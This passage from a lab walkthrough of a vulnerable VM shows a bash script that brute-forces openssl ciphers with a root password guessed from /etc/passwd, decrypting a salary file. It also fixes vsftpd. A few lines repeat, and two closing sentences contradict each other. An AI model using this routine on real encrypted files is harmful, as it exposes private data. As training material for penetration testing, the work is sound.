 sent 0, rcvd 133056
```

Great we have the file, let's check to see if it's actually an encrypted file. We can use the file command on linux to try and identify it.

```
root@kali ~$ file salary_dec2003.csv.enc
salary_dec2003.csv.enc: data
```

It says the file is data, well that's no good, we'll need to dig a bit deeper. Using strings and head we can get the string representation of the file, but just take the top of the file for inspection. This is a great way to check obscure file types and analyse them for identification.

```
root@kali ~$ strings salary_dec2003.csv.enc | head
Salted__n
Lw$A`
YN>7
#ki8
/><b
Wm&/
KU'M
R|T&
@/CP/
 0"Kt
```

After googling Salted__ header it seems that the encryption method used is openssl. openssl is an application that can be used to encrypt and decrypt files. But what algorithm was used to encrypt the file? This is where things might get confusing if you've never made scripts before. I have created a script that brute forces all the possible known cipher types used in the openssl program.

Here is the script I created to assist with this scenario.

```
1  #!/bin/bash
2
3  # Usage:
4  if [[ -z $1 ]]; then
5      echo 'USAGE: ./brutedecypt.sh <input file> <output file> <password> [cipher]'
6  fi
7
8  # Arrange variables
9  INPUTFILE=$1
10 OUTPUTFILE=$2
11 PASSWORD=$3
12 CIPHER=$4
13
14 # If a specific cipher is not given then
15 # get list of ciphers using by openssl
16 if [[ -z $CIPHER ]]; then
17     CIPHER=`openssl list-cipher-commands`
18 fi
19
20 #echo $CIPHER
21
22 # For each cipher type run the following command for each password
23 # (unless specific password given)
24 for c in $CIPHER; do
25     openssl enc -d -${c} -in ${INPUTFILE} -k ${PASSWORD} > /dev/null 2>&1
```

```
# (unless specific password given)
for c in $CIPHER; do
    openssl enc -d -${c} -in ${INPUTFILE} -k ${PASSWORD} > /dev/null 2>&1

    # Check to see if the command didn't fail the decryption
    # If it didn't alert user
    if [[ $? -eq 0 ]]; then
        # Display commands of possible decryption methods
        # Appends the cipher ont he end of the output file so more than one commands
        # Can be run at the same time
        echo "openssl enc -d -$c -in $INPUTFILE -out $OUTPUTFILE-$c -k $PASSWORD"
        #exit 0
    fi
done
```

Let's put this script on our machine and run it. Wait a minute! What password should we be trying to decrypt with? Well if you remember the comment next to the root user in the /etc/passwd file (see below), it seems a safe bet to assume that the root user's password is linked to the FTP, and since we found the file in the ftp's folder it might be a good starting point.

```
root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash
```

Let's now copy the script onto our machine, I'm going to do this with nano this time. nano is a simple command line text editor. I will paste the script into this file, save then quit.

```
root@kali ~$ nano ./brutedecrypt.sh
```

We now want run the script, for this to happen we need to give it executable permission. the command line application chmod will do this for us, it's an important command to understand so I suggest reading up on it if you've never used it before.

```
root@kali ~$ chmod +x brutedecrypt.sh
```

Let's create a folder called results to store the results of the decryption in as there might be false positives to sort through.

```
root@kali ~$ mkdir results
```

Now for the brute forcing. The syntax of the script is:

```
./brutedecrypt.sh <input file> <output file> <password> [specific cipher]
```

The file will not be outputted from running this script, but if decryption is successful then a command will be outputted which included the output location. The cipher type is added onto the end of the output files so they do not overwrite each other. If you want to try a specific cipher you can insert it at the end of the parameters if you wish. Let's run the command and check the output:

```
root@kali ~$ ./brutedecrypt.sh salary_dec2003.csv.enc results/salary_dec2003.csv tarot

openssl enc -d -aes-128-cbc -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-aes-128-
cbc -k tarot
openssl enc -d -base64 -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-base64 -k tar
ot
openssl enc -d -bf-cfb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-bf-cfb -k tar
ot
```

```
ot
openssl enc -d -bf-cfb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-bf-cfb -k tar
ot
openssl enc -d -bf-ofb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-bf-ofb -k tar
ot
openssl enc -d -cast5-cfb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-cast5-cfb
-k tarot
openssl enc -d -cast5-ofb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-cast5-ofb
-k tarot
openssl enc -d -des-cfb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-des-cfb -k t
arot
openssl enc -d -des-ede-cfb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-des-ede-
cfb -k tarot
openssl enc -d -des-ede-ofb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-des-ede-
ofb -k tarot
openssl enc -d -des-ede3-cfb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-des-ede
3-cfb -k tarot
openssl enc -d -des-ede3-ofb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-des-ede
3-ofb -k tarot
openssl enc -d -des-ofb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-des-ofb -k t
arot
openssl enc -d -rc2-cfb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-rc2-cfb -k t
arot
openssl enc -d -rc2-ofb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-rc2-ofb -k t
arot
openssl enc -d -rc4 -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-rc4 -k tarot
openssl enc -d -rc4-40 -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-rc4-40 -k tar
ot
openssl enc -d -seed-cfb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-seed-cfb -k
 tarot
openssl enc -d -seed-ofb -in salary_dec2003.csv.enc -out results/salary_dec2003.csv-seed-ofb -k
 tarot
```

Looks like there could be lots of false positives! Because we made the results folder earlier we're good to go and run these commands. We can simply copy and paste them into the shell and they should execute without errors. We now need to identify which is the correct decryption format. A quick bash one liner should help us quickly find out:

```
root@kali ~$ cd results
root@kali ~/results$ for i in $(ls); do echo $i; grep -i salary $i; done

salary_dec2003.csv-aes-128-cbc
,Employee ID,Name,Salary,Tax Status,Federal Allowance (From W-4),State Tax (Percentage),Federal
 Income Tax (Percentage based on Federal Allowance),Social Security Tax (Percentage),Medicare T
ax (Percentage),Total Taxes Withheld (Percentage),"Insurance
salary_dec2003.csv-base64
salary_dec2003.csv-bf-cfb
salary_dec2003.csv-bf-ofb
salary_dec2003.csv-cast5-cfb
salary_dec2003.csv-cast5-ofb
salary_dec2003.csv-des-cfb
salary_dec2003.csv-des-ede3-cfb
salary_dec2003.csv-des-ede3-ofb
salary_dec2003.csv-des-ede-cfb
salary_dec2003.csv-des-ede-ofb
salary_dec2003.csv-des-ofb
salary_dec2003.csv-rc2-cfb
salary_dec2003.csv-rc2-ofb
```

```
salary_dec2003.csv-des-ofb
salary_dec2003.csv-rc2-cfb
salary_dec2003.csv-rc2-ofb
salary_dec2003.csv-rc4
salary_dec2003.csv-rc4-40
salary_dec2003.csv-seed-cfb
salary_dec2003.csv-seed-ofb
```

What did that one liner do?! If you're not into programming or scripting the following might be alien to you, but I encourage you to understand it and try some simple scripts for yourself: they're incredibly useful! This one liner is a simple for loop. We create a variable to contain all the names of files using $(ls). From here we reference each file name with $i. In each iteration in the loop we echo the file name, use grep to search the file for the string salary. I chose salary as it seems most likely to appear in the file given the file being called salary_dec2003.csv. Had this not been the case I could edit the one liner and choose another search term. The output we got was from the first file using the aes-128-cbc cipher. You can now cat this file and pipe it to less which gives you a friendlier way to view it

```
root@kali ~/results$ cat salary_dec2003.csv | less
```

Well there you have it, we have rooted the machine and got some evidence to show for it. This would normally be the end but there is an additional challenge to fix the FTP server.

Bonus points?!

Now now, you don't have to do this, it's purely an added extra… I think? I wont go into too much depth here as I don't think this part will interest many people. Looking back we were unable to identify the service version running on port 21. nmap suggested that vsftpd was running but returned an error. Let's confirm that by searching for ftp configuration files in /etc.

```
root@slax:~# find /etc -name *ftp* -type f
/etc/rc.d/rc.vsftpd
/etc/logrotate.d/vsftpd
/etc/vsftpd.conf
```

This confirms that vstfp is running, nmap was correct! Let's look at the find command used here more closely as it can be handy if you're looking for specific files.

- /etc – the directory we want to search in recursively
- -name *ftp* – return everything with ftp in the name
- -type f – only return results that are files

Let's google the error that nmap gave us (which can also be seen when attempting an ftp connection to the target IP on port 21). After some googling we can find that this error may be given to us due to the following setting in the /etc/vsftpd.conf file:

```
# To run vsftpd in standalone mode (rather than through inetd), uncomment
# the line bow.
listen=YES
```

To check if vsftpd is running through inetd we can check netstat and see what service is running on port 21:

```
root@slax:~# netstat -antp | grep 21
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN     9511/inetd
```

There, it looks like we need to edit /etc/vsftpd.conf and change listen=YES to listen=NO. Let's make that change and attempt to connect to the port manually:

There, it looks like we need to edit /etc/vsftpd.conf and change listen=YES to listen=NO. Let's make that change and attempt to connect to the port manually:

```
root@kali ~$ ftp 192.168.1.100
Connected to 192.168.1.100.
220 (vsFTPd 2.0.4)
Name (192.168.1.100:root): root
331 Please specify the password.
Password:
230 Login successful.
```

Hooray it works! Let's use ls to list the files…

```
ftp> ls
215 UNIX Type: L8
500 OOPS: vsf_sysutil_recv_peek
ftp>
```

Oh dear, somethings still not quite right! Back to google! It seems that a module needs to be added to the kernel to allow the vsftpd to function correctly. Let's load this module and try and connect again from our machine.

```
root@slax:~# modprobe capability
root@kali ~/deice10010/results$ ftp 192.168.1.100

Connected to 192.168.1.100.
220 (vsFTPd 2.0.4)
Name (192.168.1.100:root): root
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx---r-x    2 0        0              63 Jul 20  2006 Desktop
-rw-r--r--    1 0        0             323 May 02  2005 Set IP address
226 Directory send OK.
ftp> cd /home/ftp/incoming
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r-xr-xr-x    1 0        0          133056 Jun 29  2007 salary_dec2003.csv.enc
226 Directory send OK.
ftp> get salary_dec2003.csv.enc
local: salary_dec2003.csv.enc remote: salary_dec2003.csv.enc
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for salary_dec2003.csv.enc (133056 bytes).
226 File send OK.
133056 bytes received in 0.00 secs (46011.9 kB/s)
```

After connecting we were able to get a directory listing, change directory to the known ftp location and download the encrypted salary file!

After connecting we were able to get a directory listing, change directory to the hidden /opt location and download the encrypted salary file!

Conclusion

You should now have a good grasp on how to tackle a vulnerable machine. Of course there are many other virtual machines out there that differ to this one, and new types of attacks will have to be learned to overcome their specific obstacles. The most important thing to take away from this machine is the gathering of information. A simple list of users enabled us to get into the whole system! Don't take shortcuts. Remember to do your information gathering as much as possible in the beginning otherwise you may find yourself going through it all over again! What's important to mention here is that we didn't have to do much with the information we could out about the services. However in other challenges this information will be vital to make a successful breach.

Thanks

Thanks for reading! If you reached this far, well done, it is a very long post and I don't intend to do this for every vulnerable machine I write about. I hope those that read this managed to grips with the basic ideas and tools that are used in the penetration testing world.

Shout-outs

Thanks to superkojiman for giving me a starting point for the decryption script!